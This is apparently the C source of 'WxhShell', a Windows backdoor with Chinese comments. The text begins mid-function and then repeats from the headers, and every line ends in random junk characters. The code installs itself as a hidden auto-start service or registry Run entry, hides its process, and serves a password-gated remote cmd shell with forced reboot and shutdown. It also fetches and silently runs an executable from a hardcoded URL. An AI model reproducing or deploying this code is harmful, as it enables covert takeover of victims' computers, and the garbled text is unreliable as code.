    if(Boot(SHUTDOWN)) y ,isK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aSd$;t~  
    else { $ r|R`n=  
    closesocket(wsh); dl;~-'0  
    ExitThread(0); $fhrGe  
    } #P*%FgROl  
    break; S>}jsP:V  
    } ?g%5 d  
  // 获取shell . +> w0FG.  
  case 's': { H `y.jSNi  
    CmdShell(wsh); Mf7Q+_!  
    closesocket(wsh); Af1izS3  
    ExitThread(0); W)JUMW2|  
    break; I\DmVc\l  
  } r9z_8#cR  
  // 退出 v#&r3ZW0  
  case 'x': { 7IW:,=Zk8+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'c5#M,G~  
    CloseIt(wsh); '<~rV  
    break; D}'g4Ag  
    } W[PZQCL}K)  
  // 离开 c+?L?s`"  
  case 'q': { E9pKR+P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =2uE\6Fl,  
    closesocket(wsh); c nvxTI<  
    WSACleanup(); L>+g;GJ  
    exit(1); J XKps#,(#  
    break; ~K%]9  
        } 9UTWq7KJ  
  } 2uFaAAT  
  } QwXM<qG*  
hnZI{2XzBE  
  // 提示信息 yveyAsN`B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /+4Dq4{ t)  
} ^@l_K +T  
  } nR4L4tdS  
u^a\02aV[  
  return; 3U<\y6/  
} uA=6 HpDB  
#@H{Ypn`  
// shell模块句柄 *V#v6r7<Y/  
int CmdShell(SOCKET sock) b7R#tT  
{  84L!r  
STARTUPINFO si; 9\3%5B7  
ZeroMemory(&si,sizeof(si)); sN|-V+7&j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5~k-c Ua  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B[ae<V0 k  
PROCESS_INFORMATION ProcessInfo; ka{9{/dz3  
char cmdline[]="cmd"; SFoF]U09  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EceZ1b  
  return 0; "BjQs<]%sF  
} k/AcXU%O+  
+A8S 6bA[=  
// 自身启动模式 Na: M1Uhb  
int StartFromService(void) ?15k~1nA  
{ 5FqUFzVqsl  
typedef struct A}C&WT~  
{ (ii 5pnq  
  DWORD ExitStatus; gXI_S9 z  
  DWORD PebBaseAddress; &=fBqod  
  DWORD AffinityMask; Iu|G*~\  
  DWORD BasePriority; X0b :Oiw  
  ULONG UniqueProcessId; I@cKiB  
  ULONG InheritedFromUniqueProcessId; WhE5u&`  
}   PROCESS_BASIC_INFORMATION; 9 U1)sPH;  
KQi9qj  
PROCNTQSIP NtQueryInformationProcess; \sHM[n F0  
oV ?tp4&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X^%I 3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J&^r}6D  
;w4rwL  
  HANDLE             hProcess; ,iCd6M{  
  PROCESS_BASIC_INFORMATION pbi; 5{ #9b^  
3Zsqx =w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N\H{p %8  
  if(NULL == hInst ) return 0; \s&w0V`Y  
]=9%fA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wr`=P,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lO%Z4V_Mj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l*_b)&CH  
5yp~PhHf  
  if (!NtQueryInformationProcess) return 0; aO "JT  
&gF{<$$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]gTa TY  
  if(!hProcess) return 0; sC ]&Qr_  
A42At]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mfG|K@ODM-  
S7aSUt!  
  CloseHandle(hProcess); PZLWyp  
a&L8W4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); po=*%Zs*T  
if(hProcess==NULL) return 0; ;}f%bE  
C'n 9n!hR  
HMODULE hMod; kKE 2~ q  
char procName[255]; A40 -])'!  
unsigned long cbNeeded; cJ]`/YJ  
Uw61X>y=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]*i>KR@G  
q,u >`]}  
  CloseHandle(hProcess); Km+29  
NWCnt,FlY  
if(strstr(procName,"services")) return 1; // 以服务启动 4 CX*,7LZ  
68I4MZK>4  
  return 0; // 注册表启动 'U1r}.+b>  
} MLBZmM '  
2d.I3z:[  
// 主模块 d /t'N-m  
int StartWxhshell(LPSTR lpCmdLine) cR@z^  
{ u8o7J(aQsR  
  SOCKET wsl; ~d{E>J77j  
BOOL val=TRUE; e1<28g  
  int port=0;  a$aI%  
  struct sockaddr_in door; B]*&lRR  
VKik8)/.  
  if(wscfg.ws_autoins) Install(); JH)&Ca>S  
<wE2ly&x  
port=atoi(lpCmdLine); X/7: *  
zv0RrF^  
if(port<=0) port=wscfg.ws_port; <mm}IdH  
e6F:['j  
  WSADATA data; -3 W 4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^<% w'*gR  
?: meix  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YRYrR|I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,E>VYkoA  
  door.sin_family = AF_INET; V9<[v?.\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S0 yPg9v  
  door.sin_port = htons(port); n Isi  
ZV Gw@3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v>nJy~O]  
closesocket(wsl); %pwm34  
return 1; a,j!B hu  
} kW,yZ.?f  
"(C }Dn#  
  if(listen(wsl,2) == INVALID_SOCKET) { 9*2hBNp+  
closesocket(wsl); sdO;vp^:b  
return 1; cnIy*!cJs  
} r{<u\>6X>P  
  Wxhshell(wsl); g|+G(~=e|  
  WSACleanup(); huq6rA/i  
'[juPI(!  
return 0; S3J6P2P  
72{kig9c  
} M>]%Iu  
=riP~%_ML)  
// 以NT服务方式启动 =x^I 5Pn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )0GnTB;5Z  
{ q7)$WXe2LM  
DWORD   status = 0; XsR%_eT  
  DWORD   specificError = 0xfffffff; !^LvNW\|  
4u(}eE f7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tbwq_3f K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4p-$5Fk8}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c:$:j,i}  
  serviceStatus.dwWin32ExitCode     = 0; pGcc6q1  
  serviceStatus.dwServiceSpecificExitCode = 0; 4sJx_Qi  
  serviceStatus.dwCheckPoint       = 0; vc!S{4bN  
  serviceStatus.dwWaitHint       = 0; L;`4"  
rxz3Mqg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xt7'clr  
  if (hServiceStatusHandle==0) return; %fyb?6?Y  
 $}F]pa[  
status = GetLastError(); T,IV)aq  
  if (status!=NO_ERROR) T4#knSIlh  
{ M84LbgGM%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JZtFt=>q  
    serviceStatus.dwCheckPoint       = 0; ~XxD[T5  
    serviceStatus.dwWaitHint       = 0; q#778  
    serviceStatus.dwWin32ExitCode     = status; Z8#I  
    serviceStatus.dwServiceSpecificExitCode = specificError; y,r`8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JZY=2q&  
    return; Mu( Y6  
  } GS$k  
yd%\3}-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A,og9<+j-  
  serviceStatus.dwCheckPoint       = 0; I/> IB   
  serviceStatus.dwWaitHint       = 0; ^&<*$Ai~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eHJ7L8#  
} KGWENX_U  
_Pz3QsV9  
// 处理NT服务事件,比如:启动、停止 $ i&$ZdX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &B2c]GoW  
{ m Zh VpIUO  
switch(fdwControl) NY;UI (<]  
{ e-')SB  
case SERVICE_CONTROL_STOP: LAKZAi%O0  
  serviceStatus.dwWin32ExitCode = 0; $`Xx5 Ts7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %~;Q_#CR/K  
  serviceStatus.dwCheckPoint   = 0; P3yiJ|vP  
  serviceStatus.dwWaitHint     = 0; 8k1 r|s@d  
  { 8 (KfX%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q5!l(QL.  
  } )f!dG(\&#  
  return; MELGTP>  
case SERVICE_CONTROL_PAUSE: 55cldo   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \O8f~zA{G  
  break; Vtg/,1KQ  
case SERVICE_CONTROL_CONTINUE: RsD`9>6)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :I'Ezxv|  
  break; j>Z]J'P  
case SERVICE_CONTROL_INTERROGATE: QBw ZfX  
  break; 0;h1LI)  
}; iXm||?Rnx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oGVSy`ku  
} uBTT {GGQ  
xs I/DW  
// 标准应用程序主函数 QP[a^5;Tt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (K6`nWk2  
{ $048y X 7M  
h*KHEg"+  
// 获取操作系统版本 T"H )g  
OsIsNt=GetOsVer(); rc$!$~|I3Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6{$dFwl  
euhZ4+  
  // 从命令行安装 CdDd+h8  
  if(strpbrk(lpCmdLine,"iI")) Install(); j?f <hQ  
]X~g@O{>_  
  // 下载执行文件 E)JyKm.  
if(wscfg.ws_downexe) { 0Ad ~!Y+1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <gdgcvd  
  WinExec(wscfg.ws_filenam,SW_HIDE); >NRz*h#  
} B#6pQp$  
S9NN.dKu  
if(!OsIsNt) { _qeuVi=A  
// 如果时win9x,隐藏进程并且设置为注册表启动 tt ]V$V  
HideProc(); @7s,| \  
StartWxhshell(lpCmdLine); .Sr:"SrT  
} _`_IUuj$E  
else zf,%BI[Hr  
  if(StartFromService()) U[QD!  
  // 以服务方式启动 B`B%:#  
  StartServiceCtrlDispatcher(DispatchTable); 8RAeJ~e  
else %Sn6*\z  
  // 普通方式启动 ;(Xe@OtW  
  StartWxhshell(lpCmdLine); Ydh<TF4!  
0O#B'Uu  
return 0; d%lHa??/ h  
} J`q}Ry;   
l-S'ATZ0p  
+&7Kk9^  
U>_IYT  
=========================================== k9) u 3  
So=nB} b[?  
'dc+M9u)_q  
@mx$sNDkL  
>4/L-y+  
x$n~f:1Y  
" h ??C4z  
Wzqb>.   
#include <stdio.h> IE)"rTI)b  
#include <string.h> lU $4NU wM  
#include <windows.h> ``$%L=_m  
#include <winsock2.h> l+2cj?X  
#include <winsvc.h> vK6ibl0  
#include <urlmon.h> ojx'g8yO  
\- =^]]b=  
#pragma comment (lib, "Ws2_32.lib") S\9t4Ki_'  
#pragma comment (lib, "urlmon.lib") b0YiQjS6>  
I f3{E  
#define MAX_USER   100 // 最大客户端连接数 `z}vONXpAX  
#define BUF_SOCK   200 // sock buffer <!~1{`n%9J  
#define KEY_BUFF   255 // 输入 buffer rX33s  
"Ap$ Jl B  
#define REBOOT     0   // 重启 fey*la Xq  
#define SHUTDOWN   1   // 关机 xHJ8?bD p  
3vdu;W=Sz  
#define DEF_PORT   5000 // 监听端口 heL$2dZ5H  
#zS1Z f^KP  
#define REG_LEN     16   // 注册表键长度 R CBf;$O  
#define SVC_LEN     80   // NT服务名长度 ~=:2~$gsn  
1Xy8|OFc[  
// 从dll定义API NoCDY2 $  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y=vVxVI\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?P""KVp o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {f+N]Oo*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x&C%4Y_]  
\3Dk5cSDk+  
// wxhshell配置信息 4$ Dt8!p0  
struct WSCFG { )jyq{Jb  
  int ws_port;         // 监听端口 m'cz5mcD  
  char ws_passstr[REG_LEN]; // 口令 *jk3 \KaoV  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;,1=zhKU.  
  char ws_regname[REG_LEN]; // 注册表键名 D##+)`dK  
  char ws_svcname[REG_LEN]; // 服务名 &5\^f?'b7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G2.|fp_}pG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0QMTIAW6h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T@TIz z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'yp>L|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q6"uK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'X =p7 d|'  
'X7%35Y  
}; D.'h?^kA  
lVPOYl%  
// default Wxhshell configuration w8O" =},  
struct WSCFG wscfg={DEF_PORT, L0rip5[;d  
    "xuhuanlingzhe", NS`07#z^  
    1, 3&'2aW   
    "Wxhshell", YT>KJ  
    "Wxhshell", )Im3'0l>  
            "WxhShell Service", Hd9XfU  
    "Wrsky Windows CmdShell Service", j'K38@M:MN  
    "Please Input Your Password: ", X1+ wX`f  
  1, yuOS&+,P  
  "http://www.wrsky.com/wxhshell.exe", ~+yZfOcw  
  "Wxhshell.exe" 33Jd!orXU  
    }; i AdGgK  
&FSmqE;@^  
// 消息定义模块 y$X(S\W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :0$a.8Y\++  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8S\RN&T$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ a?  
char *msg_ws_ext="\n\rExit."; >M]6uf  
char *msg_ws_end="\n\rQuit."; :ygWNK[ 6D  
char *msg_ws_boot="\n\rReboot..."; "#yJHsu]  
char *msg_ws_poff="\n\rShutdown..."; ? B@&#E!/f  
char *msg_ws_down="\n\rSave to "; 'OwyyPBF  
&(EHq  
char *msg_ws_err="\n\rErr!"; ]hA,LY f  
char *msg_ws_ok="\n\rOK!"; kH'p\9=  
+oI3I~  
char ExeFile[MAX_PATH]; "wAf. =F  
int nUser = 0; >I}9LyZt  
HANDLE handles[MAX_USER]; 41G5!=i  
int OsIsNt; L*h{'<Bz  
*wuqa) q2  
SERVICE_STATUS       serviceStatus; ?+~cA^-3T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~e `Bq>  
$= B8qZ+  
// 函数声明 oc7$H>ET1  
int Install(void); Qck| #tc  
int Uninstall(void); \\06T `  
int DownloadFile(char *sURL, SOCKET wsh); 7Ym(n8  
int Boot(int flag); f$.?$  
void HideProc(void); ).5RPAP  
int GetOsVer(void); &gtG~mp<L  
int Wxhshell(SOCKET wsl); Q8D&tJg  
void TalkWithClient(void *cs); &;E5[jO^D  
int CmdShell(SOCKET sock); 1TS0X:TCn  
int StartFromService(void); AH#4wPxF  
int StartWxhshell(LPSTR lpCmdLine); ]5 Qy  
<q (z>*-e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0* ;O?T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )@gZ;`n  
YO+{,$  
// 数据结构和表定义 q5x[~]?  
SERVICE_TABLE_ENTRY DispatchTable[] = S0d~.ah30  
{ #m<tJnEO  
{wscfg.ws_svcname, NTServiceMain}, 2 PqS%`XiS  
{NULL, NULL} 59r_#(uo  
}; ke_ [  
`F t]MR  
// 自我安装 mYxyWB  
int Install(void) 5|QzU|gPn  
{ bWWXc[O2&(  
  char svExeFile[MAX_PATH]; Wy .IcWK  
  HKEY key; .zg8i_  
  strcpy(svExeFile,ExeFile); gF?[rqz{  
'1?\/,em  
// 如果是win9x系统,修改注册表设为自启动 JyLa#\ R  
if(!OsIsNt) { @"-</x3o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L< ^j"!0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *&BnF\?m  
  RegCloseKey(key); _"@CGXu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )s_n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NLS"eD m  
  RegCloseKey(key); kIHDeo%K}  
  return 0; K5Q43 e1  
    } b[9&l|y^  
  } U>Ld~cw  
} ^I8Esl8  
else { FBx_c;)9Z  
Jn:ZYqc  
// 如果是NT以上系统,安装为系统服务 &QRE"_g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C+[%7vF1  
if (schSCManager!=0) Hy.AyU|L  
{ &LO"g0w  
  SC_HANDLE schService = CreateService Od+6 -J  
  ( q<y#pL=k"*  
  schSCManager, ]i(-I <`  
  wscfg.ws_svcname, m>USD? i  
  wscfg.ws_svcdisp, 4iA Z+l5&  
  SERVICE_ALL_ACCESS, ,}oM-B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -9N@$+T  
  SERVICE_AUTO_START, =_$Qtq+h  
  SERVICE_ERROR_NORMAL, j',W 64  
  svExeFile, P-F)%T[  
  NULL, [Wd-Zn%  
  NULL, H]Hv;fcC  
  NULL, theZ]5_C  
  NULL, 8fA_p}wp  
  NULL Vk< LJ S  
  ); %CWPbk^  
  if (schService!=0) Uc/+gz Z;  
  { P96pm6H_;  
  CloseServiceHandle(schService); X%yO5c\l2  
  CloseServiceHandle(schSCManager); R1Sy9x .  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); " \I4u{zC  
  strcat(svExeFile,wscfg.ws_svcname); g^*<f8 ~d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >WY#4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2,ECYie^  
  RegCloseKey(key); zdXkR]  
  return 0; dJ"iEb|4  
    } oIUy-|  
  } U qG .:@T  
  CloseServiceHandle(schSCManager); 3u%{dGa  
} /cc\fw1+  
} G)?9.t_Lj-  
]HpA5q1ck  
return 1; Y*mbjyt[?X  
} (sVi\R  
/}-CvSR  
// 自我卸载 !i=nSqW  
int Uninstall(void) >0Q|nCx  
{ cuOvN"nuNj  
  HKEY key; M Zmb`%BZ  
R<B7K?SxV~  
if(!OsIsNt) { n3J53| %v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^eW}XRI  
  RegDeleteValue(key,wscfg.ws_regname); }9nDo*A"}  
  RegCloseKey(key); N},n `Yl.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K~ ;45Z2  
  RegDeleteValue(key,wscfg.ws_regname); 2NB L}x  
  RegCloseKey(key); as J)4ema  
  return 0; 1sYEZO;  
  } N!*_La=TuH  
} @)SL_9  
} qCv20#!"|  
else { @LJpdvb  
xe/(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]9\!;Bz^J  
if (schSCManager!=0) =J1rlnaaEL  
{ kI%%i>Y}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1bGopi/  
  if (schService!=0) jsNF#yE>  
  { 28 3 H  
  if(DeleteService(schService)!=0) { $0arz{Oh  
  CloseServiceHandle(schService); 02Ia2e.f  
  CloseServiceHandle(schSCManager); dx ;k`r$w  
  return 0; VN%INUi@  
  } OQ9x*TmK  
  CloseServiceHandle(schService); cV`E>w=D0  
  } 3"rzb]=R  
  CloseServiceHandle(schSCManager); }x&N^Ky3c  
}  [~&XL0  
} cHa]xmy%r'  
c sfgJ^n  
return 1; `c'W-O/  
} Y6&wJ<   
>CkjUZu]&  
// 从指定url下载文件 e)?Fi  
int DownloadFile(char *sURL, SOCKET wsh) ,\v91Rp~?  
{ O iFS}p  
  HRESULT hr; pJ ?~fp  
char seps[]= "/"; ?-Vjha@BO  
char *token; }6 K^`!  
char *file; ,6r{VLN  
char myURL[MAX_PATH]; .$#rV?7  
char myFILE[MAX_PATH]; fK(}Ce  
8#Q$zLK42N  
strcpy(myURL,sURL); xzx$TUL  
  token=strtok(myURL,seps); SRSvot};C  
  while(token!=NULL) [b$4Shx  
  { aj}(E +  
    file=token; <EST?.@~+  
  token=strtok(NULL,seps); vp.ZK[/`  
  } !\ g+8>  
*& m#qEv  
GetCurrentDirectory(MAX_PATH,myFILE); uB7 V?A  
strcat(myFILE, "\\"); P bQk<"J1  
strcat(myFILE, file); _@R0x#p5M  
  send(wsh,myFILE,strlen(myFILE),0); v 36%Pj`  
send(wsh,"...",3,0); @'=Uq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y1/o^d+@  
  if(hr==S_OK) EKp@9\XBC  
return 0; j;Z?WXWD h  
else [= |jZVhT  
return 1; Ldn8  
5K?}}Frrt`  
} xGI, Lk+  
V"!G2&  
// 系统电源模块 U#1bp}y  
int Boot(int flag) K'h1szW  
{ 5 B=^v#m  
  HANDLE hToken; ti &J  
  TOKEN_PRIVILEGES tkp; r4,VTy2Qe  
Lq>&d,F06)  
  if(OsIsNt) { 4BwQA #zE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t5lO'Ll*Q]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WlYs~(= 9  
    tkp.PrivilegeCount = 1; O3CFme  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d9n?v)<v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f}D1|\7  
if(flag==REBOOT) { 1$*%"5a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q#IG;  
  return 0; lHV[Ln`\x  
} Sc7U |s  
else { 7+hK~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eu|j=mB  
  return 0; HD N9.5 S  
} =f(cH152T  
  } BW,mwq  
  else { jg&E94}+  
if(flag==REBOOT) { D13Rx 6b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) al`3Lu0  
  return 0; "l >Igm  
} smm]6  
else { ;@ [ 0x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hb{ u'=  
  return 0; D/=5tOy  
} O 1oxZj <  
} ,hVvve,j}  
KzQ3.)/q  
return 1; =tU{7i*+  
} TO-$B8*nq  
M3~K,$@  
// win9x进程隐藏模块 <x\7L2#p  
void HideProc(void) ^V|Oxp'7_  
{ we#wH-  
)a3IQrf=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s :`8ZBz~  
  if ( hKernel != NULL ) cVwbg[W]  
  { ?EX"k+G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F} d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Gcy> Av  
    FreeLibrary(hKernel); `HuCT6O  
  } + S4fGT  
*H[Iq!@  
return; .`CZUKG  
} sK=0Np=`  
A6oq.I0  
// 获取操作系统版本 <[GYLN[0Q  
int GetOsVer(void) 2m>-dqg  
{ dSCzx .c  
  OSVERSIONINFO winfo; LJVG~Yeo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >h+349  
  GetVersionEx(&winfo); }CxvT`/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O@iu aeEW  
  return 1; !K? qgM  
  else 7a=S  
  return 0; B-d(@7,1  
} )f dE6  
:SV>+EDY   
// 客户端句柄模块 _p?s9&  
int Wxhshell(SOCKET wsl) *1@:'rJ  
{ 8^B;1`#  
  SOCKET wsh; 1 qi@uYDug  
  struct sockaddr_in client; Dr;iQkGP  
  DWORD myID; #Dfo#]k(  
71C42=AU  
  while(nUser<MAX_USER) !jqWwi  
{ DF{OnF  
  int nSize=sizeof(client); +%\oO/4Fs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vs6,  
  if(wsh==INVALID_SOCKET) return 1; gK|R =J  
-=698h*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h.K(P+h  
if(handles[nUser]==0) m+ itno  
  closesocket(wsh); H6aM&r9}  
else A-CUv[pM  
  nUser++; 6D;^uM2N  
  }  BGzI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F^!mI7Z|(2  
KjB/.4lLq  
  return 0; 2i|B=D(  
} Tp<k<uKD  
Ri>?KrQF%  
// 关闭 socket "8V{5e!%j'  
void CloseIt(SOCKET wsh) &@3m -Z  
{ #pdUJ2)yM  
closesocket(wsh); Fl>]&x*~  
nUser--; %~*jae!f  
ExitThread(0); mCKk*5ws5"  
} FbACTeB  
G[idN3+#  
// 客户端请求句柄 -Cid3~mX3  
void TalkWithClient(void *cs) Hoz56y  
{ o/^;@5\  
)y7_qxwbV  
  SOCKET wsh=(SOCKET)cs; O_K_f+7  
  char pwd[SVC_LEN]; K X]oE+:  
  char cmd[KEY_BUFF]; ELa ja87  
char chr[1]; p SN~DvR  
int i,j; ;mAhY  
gdj^df+2F  
  while (nUser < MAX_USER) { \)m"3yY  
A~lIa$U$b  
if(wscfg.ws_passstr) { 4}KU>9YRA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;BH>3VK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EEf ]u7  
  //ZeroMemory(pwd,KEY_BUFF); nv5u%B^  
      i=0; L&Qi@D0P  
  while(i<SVC_LEN) { e&X>F"z2  
bdc\  
  // 设置超时 ,=[*Lo>O  
  fd_set FdRead; 3/M.0}e  
  struct timeval TimeOut; fAj2LAK  
  FD_ZERO(&FdRead); 4f1D*id*`#  
  FD_SET(wsh,&FdRead); xQt 3[(Z  
  TimeOut.tv_sec=8; |k-XBp  
  TimeOut.tv_usec=0; g{pQ4jKF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K}I0o!(#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I6OSC&A`  
=g@9>3~{!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7S2C/f  
  pwd=chr[0]; wFlV=!>,  
  if(chr[0]==0xd || chr[0]==0xa) { >mIg@knE  
  pwd=0; r25Z`X Z  
  break; fU*C/ d3  
  } Go+[uY^  
  i++; %]Cjhs"v  
    } F>Y9o- o2  
gAE!a Ky  
  // 如果是非法用户,关闭 socket Z}cIA87U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c>Z*/>~  
} Rlc$; Z9K  
j|'R$|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t;Wotfc[#0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y' tRANxQ  
S=R 3"~p  
while(1) { l`rC0kJ]  
}]h \/,  
  ZeroMemory(cmd,KEY_BUFF); Xm[Czd]%  
mCb 9*|  
      // 自动支持客户端 telnet标准   ujx-jIhT_  
  j=0; ^L O]Z  
  while(j<KEY_BUFF) { ?6:cNdN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )}|mDN&P  
  cmd[j]=chr[0]; NV!4(_~  
  if(chr[0]==0xa || chr[0]==0xd) { {,V$*  
  cmd[j]=0; b:B [3|  
  break; #Go(tS~o  
  } :`<psvd  
  j++; G\mKCaI8  
    } jyjQzt >\  
a @SUi~+3  
  // 下载文件 ^-L{/'[8M  
  if(strstr(cmd,"http://")) { 4[l^0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u`p_.n:5)  
  if(DownloadFile(cmd,wsh)) ?Y!^I2Y6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |4xo4%BQ>  
  else h3t$>vs2F"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1#!@["  
